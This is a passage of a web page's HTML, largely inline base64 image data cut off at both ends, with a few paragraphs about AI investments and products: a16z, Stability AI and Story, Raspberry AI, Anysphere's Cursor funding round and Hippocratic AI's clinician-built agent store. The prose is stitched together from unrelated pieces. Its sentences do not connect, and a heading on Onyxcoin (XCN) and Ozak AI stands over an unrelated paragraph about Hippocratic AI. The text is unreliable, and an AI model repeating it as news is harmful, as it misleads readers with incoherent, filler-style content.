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" width="300px" alt="a16z generative ai"/></p>
<p><p>All these indicate the commitment a16z has in shaping the future of technology and healthcare through strategic investments. Both platforms use Stability AI’s models to bring creators’ visions to life and Story’s blockchain technology to enable provenance and attribution throughout the creative process. These real-world applications highlight how creators can safeguard their intellectual property while thriving in a shared creative economy. Raspberry AI offers brands and manufacturing creative teams technology solutions, which can help accelerate each stage of the fashion product development cycle to increase speed to market and profitability while reducing costs. Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups. They participated in the round that funded Anysphere on January 14, 2025, with a total sum of $105 million for an AI coding tool known as Cursor, whose valuation has reached $2.5 billion.</p>
</p>
<p><h2>Onyxcoin (XCN) Market Trends and Ozak AI’s Contribution to AI-Driven Blockchain</h2>
</p>
<p><p>In order to ensure its AI agents can do their jobs safely, Hippocratic AI says it only works with licensed clinicians to develop them, taking steps to verify their qualifications and experience first. Once clinicians have built their agents, they’ll be submitted to the startup for an initial round of testing. Through the Hippocratic AI Agent App Store, healthcare organizations and hospitals will be able to access a range of specialized AI agents for different aspects of medical care.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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